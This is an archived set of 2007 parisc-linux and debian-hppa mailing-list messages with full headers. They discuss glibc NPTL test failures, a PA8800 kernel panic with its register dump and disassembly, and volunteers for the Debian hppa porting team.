List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dcupcVxXf2I/GoicY2xond9wdWxlc5Yn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24198

On 02/01/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > For those interested in playing along, I'm putting the .deb's that I'm
> > In particular, this features NPTL and TLS, although with 2.6.20-rc2
> > I'm still seeing the glibc failures that Carlos reported on September
> > 6th[0], not the much-reduced set he reported on September 13th[1].
> >
> > [0] http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030146.html
> > [1] http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030197.html
>
> This is because [1] is a mistake. In [1] the LWS CAS was disabled and
> I accidentally ran the tests with the non-atomic versions.

Ah, okay.  I'd been hacking assuming that I should be able to
reproduce those results.  At least my setup isn't broken.

BTW, I have a patch for upstream to use the right define for LWS CAS
if you don't have it.  Current libc head doesn't build without it
anymore.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA8800 Status (Happy New Year)
Date: Tue, 2 Jan 2007 19:58:56 -0500 (EST)
Lines: 66
Approved: news@gmane.org
Message-ID: <200701030058.l030wur7018506__6655.66025204516$1416624249$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624249 22033 80.91.229.3 (22 Nov 2014 02:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 00:59:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 03 Jan 2007 01:59:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 983EC7DA20;
	Tue,  2 Jan 2007 17:59:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29244-10; Tue, 2 Jan 2007 17:59:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82C1C7DA21;
	Tue,  2 Jan 2007 17:59:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A2B77DA1F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 17:58:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29362-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 17:58:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5F1157DA1E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 17:58:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l030wu89018508
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 19:58:56 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l030wur7018506
	for parisc-linux@lists.parisc-linux.org;
	Tue, 2 Jan 2007 19:58:56 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4sivcWhiTiEtQKyUaGRw23V1ZUVSRJet
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24199

I spent the last couple of days updating the kernel and userspace
software on the pa8800 that I have (ior).  The good news is that
the machine is now much more stable than it was.  ssh seems to
work.  I've even been able to do a full GCC build on it.  Thanks
to all for the fixes!

The bad news.  The system died almost immediately starting the
gcc testsuite:

>>>From the console log:

expect (pid 20348): Protection id trap (code 27)
Backtrace:
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
expect (pid 20348): Protection id trap (code 27)
Backtrace:
      _______________________________
     < Your System ate a SPARC! Gah! >

[repeats a number of times]

Backtrace:


Bad Address (null pointer deref?): Code=15 regs=0000000245b4f590 (Addr=00000625733a213a)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001011110100001111 Not tainted
r00-03  000000ff0804bd0f 000000004050f8c0 0000000040311010 0000000084f664ff
r04-07  00000000405038c0 0000000000000002 0000000084f664c1 000000007fe0a000
r08-11  0000000000000000 000000007fe0a000 00000000000002b1 000000007ea85600
r12-15  000000004f2241c0 000000007e96c000 000000007fe0a000 0000000000000040
r16-19  0000000000000000 000000007fe0a494 000000007ad0b012 00000000404ba2d4
r20-23  3c353e25733a2046 000000004050f8c0 000000007fe0a000 0000000000000000
r24-27  0000000084f664c1 0000000000013c43 0000000078340400 00000000405038c0
r28-31  0000000000000003 0000000245b4f560 0000000245b4f590 00000000404ba2c0
sr00-03  0000000001436800 0000000000000000 0000000000000000 0000000001436800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004031104c 0000000040311050
 IIR: 4a9c01e8    ISR: 000000003c353800  IOR: 00000625733a213a
 CPU:        0   CR30: 0000000241ee0000 CR31: 00000000404c4000
 ORIG_R28: 00000054000000c8
 IAOQ[0]: ip_route_input+0xb4/0xca8
 IAOQ[1]: ip_route_input+0xb8/0xca8
 RP(r2): ip_route_input+0x78/0xca8
Kernel panic - not syncing: Bad Address (null pointer deref?)
 <0>Rebooting in 5 seconds..

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Who is actively porting the Debian architectures?
Date: Tue, 2 Jan 2007 19:35:33 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440701021635w5e9fc799j6e048d124c94c13__10887.574524577$1416624249$gmane$org@mail.gmail.com>
References: <200612252340.14760.elendil@planet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624249 22038 80.91.229.3 (22 Nov 2014 02:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:09 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 01:36:07 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx071) with SMTP; 03 Jan 2007 02:36:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 498E52EF99; Tue,  2 Jan 2007 19:24:34 -0600 (CST)
Old-Return-Path: <patofiero@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by murphy.debian.org (Postfix) with ESMTP id 301252ECB7
	for <debian-hppa@lists.debian.org>; Tue,  2 Jan 2007 18:35:41 -0600 (CST)
Original-Received: by ug-out-1314.google.com with SMTP id o38so5485343ugd
        for <debian-hppa@lists.debian.org>; Tue, 02 Jan 2007 16:35:38 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=QCY3FYLLjBcCCSGvqKGICdQo3kK0ikEoHvkiU3vnIe7tuMR7Rm3O/Kh9zKJUZSrKcrCdU3EYI1GpP+k6Dsnf6S/DJgp/aVlOwCRSbWvnYYu7tMrWYEdm+nwuRPuh+WEFlzaWgjcuHs/HGQxIEn7SjiN4UIS6GaFLJdQswKovXHk=
Original-Received: by 10.78.146.11 with SMTP id t11mr3505997hud.1167784538485;
        Tue, 02 Jan 2007 16:35:38 -0800 (PST)
Original-Received: by 10.78.196.11 with HTTP; Tue, 2 Jan 2007 16:35:33 -0800 (PST)
Original-Sender: patofiero@gmail.com
In-Reply-To: <200612252340.14760.elendil@planet.nl>
Content-Disposition: inline
X-Google-Sender-Auth: 0ff9fc177d6f3178
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2006-12-04_03
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Level: *
X-Spam-Status: No, score=1.3 required=4.0 tests=AWL,RCVD_BY_IP autolearn=no 
	version=3.0.3
Resent-Message-ID: <aw9n.A.r2D.SXwmFB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5575
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  2 Jan 2007 19:24:34 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: tTGjcBxWbmw7XK2HZzdLNVZHUzc4cpF9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24200

On 12/25/06, Frans Pop <elendil@planet.nl> wrote:
> I would suggest at least the following changes:
> HPPA: add Kyle McMartin
> Note: you may also wish to review and update the port pages under [2].
>
> Cheers,
> FJP
>
> [1] http://www.debian.org/intro/organization
> [2] http://www.debian.org/ports/

Kyle,

Would you like my help? I wouldn't mind being added to the hppa list
aswell. I can always answer hppa-linux related questions and help port
this and that.

Cheers,
Carlos.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA8800 Status (Happy New Year)
Date: Tue, 2 Jan 2007 20:41:42 -0500 (EST)
Lines: 60
Approved: news@gmane.org
Message-ID: <200701030141.l031fgxn019232__28578.9060676054$1416624250$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624250 22044 80.91.229.3 (22 Nov 2014 02:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 01:41:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 03 Jan 2007 02:41:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36CF77DA29;
	Tue,  2 Jan 2007 18:41:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29846-04; Tue, 2 Jan 2007 18:41:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F27E7DA21;
	Tue,  2 Jan 2007 18:41:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6E647DA1E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 18:41:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29609-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 18:41:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F02297DA1D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 18:41:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l031fgFN019233;
	Tue, 2 Jan 2007 20:41:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l031fgxn019232;
	Tue, 2 Jan 2007 20:41:42 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Jan 2, 2007 07:58:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1juifSkQYW0+VLuGbmZp4np0amthc5si
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24201

> Bad Address (null pointer deref?): Code=15 regs=0000000245b4f590 (Addr=00000625733a213a)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001011110100001111 Not tainted
> r00-03  000000ff0804bd0f 000000004050f8c0 0000000040311010 0000000084f664ff
> r04-07  00000000405038c0 0000000000000002 0000000084f664c1 000000007fe0a000
> r08-11  0000000000000000 000000007fe0a000 00000000000002b1 000000007ea85600
> r12-15  000000004f2241c0 000000007e96c000 000000007fe0a000 0000000000000040
> r16-19  0000000000000000 000000007fe0a494 000000007ad0b012 00000000404ba2d4
> r20-23  3c353e25733a2046 000000004050f8c0 000000007fe0a000 0000000000000000
> r24-27  0000000084f664c1 0000000000013c43 0000000078340400 00000000405038c0
> r28-31  0000000000000003 0000000245b4f560 0000000245b4f590 00000000404ba2c0
> sr00-03  0000000001436800 0000000000000000 0000000000000000 0000000001436800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004031104c 0000000040311050
>  IIR: 4a9c01e8    ISR: 000000003c353800  IOR: 00000625733a213a
>  CPU:        0   CR30: 0000000241ee0000 CR31: 00000000404c4000
>  ORIG_R28: 00000054000000c8
>  IAOQ[0]: ip_route_input+0xb4/0xca8
>  IAOQ[1]: ip_route_input+0xb8/0xca8
>  RP(r2): ip_route_input+0x78/0xca8
> Kernel panic - not syncing: Bad Address (null pointer deref?)
>  <0>Rebooting in 5 seconds..

The code seems to be:

    40311008:   eb fe ac 25     b,l 4030e620 <rt_hash_code>,rp
    4031100c:   0b 97 02 28     and r23,ret0,r8
    40311010:   08 04 02 5b     copy r4,dp
    40311014:   2b 63 20 00     addil L%7000,dp,r1
    40311018:   50 3f 04 f0     ldd 278(r1),r31
    4031101c:   0f e0 10 d3     ldd 0(r31),r19
    40311020:   0e 7c 20 dc     ldd,s ret0(r19),ret0
    40311024:   9f 80 22 00     cmpb,*= r0,ret0,4031112c <ip_route_input+0x194>
    40311028:   2b 66 00 00     addil L%c000,dp,r1
    4031102c:   08 1c 02 54     copy ret0,r20
    40311030:   50 33 0e a0     ldd 750(r1),r19
    40311034:   e8 00 00 20     b,l 4031104c <ip_route_input+0xb4>,r0
    40311038:   08 01 02 55     copy r1,r21
    4031103c:   37 9c 00 02     ldo 1(ret0),ret0
    40311040:   6a 7c 00 70     stw ret0,38(r19)
    40311044:   0e 80 10 d4     ldd 0(r20),r20
    40311048:   9e 80 21 ba     cmpb,*=,n r0,r20,4031112c <ip_route_input+0x194>
    4031104c:   4a 9c 01 e8     ldw f4(r20),ret0

It seems like there must be some way to get to 4031104c avoiding the
on r20/ret0.  Don't see any branches to the region between 40311024
and 40311044 in the function, or any other direct branches to 4031104c.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Who is actively porting the Debian architectures?
Date: Tue, 2 Jan 2007 19:45:31 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20070103004531.GA26830__38007.087869528$1416624250$gmane$org@athena.road.mcmartin.ca>
References: <200612252340.14760.elendil@planet.nl> <119aab440701021635w5e9fc799j6e048d124c94c13@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624250 22051 80.91.229.3 (22 Nov 2014 02:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:10 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 01:50:12 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx083) with SMTP; 03 Jan 2007 02:50:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D4FB82E4C4; Tue,  2 Jan 2007 19:40:14 -0600 (CST)
Old-Return-Path: <kyle@athena.road.mcmartin.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca [134.117.69.22])
	by murphy.debian.org (Postfix) with ESMTP id 7D7D52EDB5
	for <debian-hppa@lists.debian.org>; Tue,  2 Jan 2007 18:45:44 -0600 (CST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 40EE45840AF;
	Tue,  2 Jan 2007 19:45:41 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B76E75840AB;
	Tue,  2 Jan 2007 19:45:40 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com [74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 67A94837DB;
	Tue,  2 Jan 2007 19:45:40 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 5EC903B06E; Tue,  2 Jan 2007 19:45:31 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440701021635w5e9fc799j6e048d124c94c13@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Rc-Spam: 2006-12-04_03
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2006-12-04_03
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.0 required=4.0 tests=none autolearn=no 
	version=3.0.3
Resent-Message-ID: <qV374.A.g3B.-lwmFB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5576
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  2 Jan 2007 19:40:14 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: sHryKlIdMydyf4igZWplJX9raGRhZlpv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24202

On Tue, Jan 02, 2007 at 07:35:33PM -0500, Carlos O'Donell wrote:
> On 12/25/06, Frans Pop <elendil@planet.nl> wrote:
> >I would suggest at least the following changes:
> >HPPA: add Kyle McMartin
> >Note: you may also wish to review and update the port pages under [2].
> >

I'm not sure where this email came from, as I don't see it in my 
debian-hppa folder.

> Kyle,
> 
> Would you like my help? I wouldn't mind being added to the hppa list
> aswell. I can always answer hppa-linux related questions and help port
> this and that.
> 

Please, be my guest, I think you are our de facto toolchain ring leader. :)

Cheers,
	Kyle M.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <clameter@sgi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH] use cycle_t instead of u64 in struct time_interpolator
Date: Wed, 3 Jan 2007 09:46:19 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0701030942160.7909__13998.3198758729$1416624250$gmane$org@schroedinger.engr.sgi.com>
References: <200701022233.25697.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624250 22057 80.91.229.3 (22 Nov 2014 02:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <christoph@schroedinger.engr.sgi.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 17:46:23 -0000
Original-Received: from omx1-ext.sgi.com (EHLO omx1.sgi.com) [192.48.179.11]
  by mx0.gmx.net (mx085) with SMTP; 03 Jan 2007 18:46:23 +0100
Original-Received: from imr2.americas.sgi.com (imr2.americas.sgi.com [198.149.16.18])
	by omx1.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with ESMTP id l03HkKDW002611;
	Wed, 3 Jan 2007 11:46:20 -0600
Original-Received: from spindle.corp.sgi.com (spindle.corp.sgi.com [198.29.75.13])
	by imr2.americas.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id l03HLcnc75712384;
	Wed, 3 Jan 2007 09:21:38 -0800 (PST)
